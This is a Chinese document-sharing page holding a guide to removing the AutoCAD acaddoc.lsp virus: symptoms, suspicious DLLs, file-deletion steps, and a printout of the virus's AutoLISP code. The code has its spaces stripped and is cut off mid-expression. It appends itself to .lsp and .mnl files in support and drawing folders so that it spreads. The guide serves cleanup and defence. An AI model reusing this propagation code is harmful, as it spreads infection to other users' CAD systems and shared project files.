autocad菜单实用程序已加载

《autocad菜单实用程序已加载》由会员上传分享，免费在线阅读，更多相关内容在应用文档-天天文库。

1、AutoCAD菜单实用程序已加载。;错误:输入的列表有缺陷AutoCAD菜单实用程序已加载。;错误:输入的列表有缺陷===============================================acaddoc.lspCAD出现这种现象基本有以下几种情况： 1。一般是由CAD的安装目录下或CAD的SUPPORT目录下有acad.lsp这个文件引起的。这个文件可能是单位里有自己开发的程序，使自己单位人员编写的。 2。CAD病毒程序。判断是不是CAD被病毒破坏 3。查找电脑的其它目录中（主要是windows的系统目录）是否还有这些文件：hysoft*.dll,K

2、tCnPub*.dll及RyClient.dllsx32w.dll，如果有，删除后试一下（除了软件目录下的）。 （搜索文件时，注意选择“搜索隐藏的文件”） ================================================以下是相关操作步骤： 1、若发现文件夹中多出ACADDOC.LSP文件即说明你的CAD中毒了。 2、关闭CAD程序。 3、全盘搜索*.fas*.lsp*.mnl*.arx文件，除了CAD安装目录以外的该类文件均全部删除。 4、检查CAD安装目录文件的修改时间，把ACADDOC.LSP病毒感染X:/ProgramFiles/A

3、utoCAD20**/Support文件夹下的3d.lsp；3darray.lsp；acad2010.lsp；acad2010doc.lsp；acadinfo.lsp；ai_utils.lsp；attredef.lsp；edge.lsp；mvsetup.lsp；sample-profile-util.lsp文件以及C:/DocumentsandSettings/用户名/ApplicationData/Autodesk/AutoCAD20**/R16.2/chs/Support下的*.MNL文件中的病毒代码删除。（用记事本打开）5、把CAD安装目录中的所有*.fas*.ls

4、p*.mnl*.arx文件改为只读属性。 说明：要删除的病毒代码在文件的尾部，具体如下： (setqflagxt) (setqbz"(setqflagxt)") (defunapp(sourcetargetbz/flagflag1wjmwjm1text) (setqflagnil)(setqflag1t) (if(findfiletarget) (progn (setqwjm1(opentarget"r")) (while(setqtext(read-linewjm1)) (if(=textbz)(setqflag1nil)) );while (closewjm1));p

5、rogn);if (ifflag1 (progn (setqwjm(opensource"r")) (setqwjm1(opentarget"a")) (write-line(chr13)wjm1) (while(setqtext(read-linewjm)) (if(=textbz)(setqflagt)) (ifflag (progn (write-linetextwjm1));progn);if);while (closewjm1) (closewjm));progn);if);defun (setvar"cmdecho"0) (setqacadmnl(findfi

6、le"acad.mnl")) (setqacadmnlpath(vl-filename-directoryacadmnl)) (setqmnlfilelist(vl-directory-filesacadmnlpath"*.mnl")) (setqmnlnum(lengthmnlfilelist)) (setqacadexe(findfile"acad.exe")) (setqacadpath(vl-filename-directoryacadexe)) (setqsupport(strcatacadpath"//support")) (setqlspfilelist(v

7、l-directory-filessupport"*.lsp")) (setqlspfilelist(appendlspfilelist(list"acaddoc.lsp"))) (setqlspnum(lengthlspfilelist)) (setqdwgname(getvar"dwgname")) (setqdwgpath(findfiledwgname)) (ifdwgpath (progn (setqacaddocpath(vl-filename-directorydwgpath)) (setqacaddocfile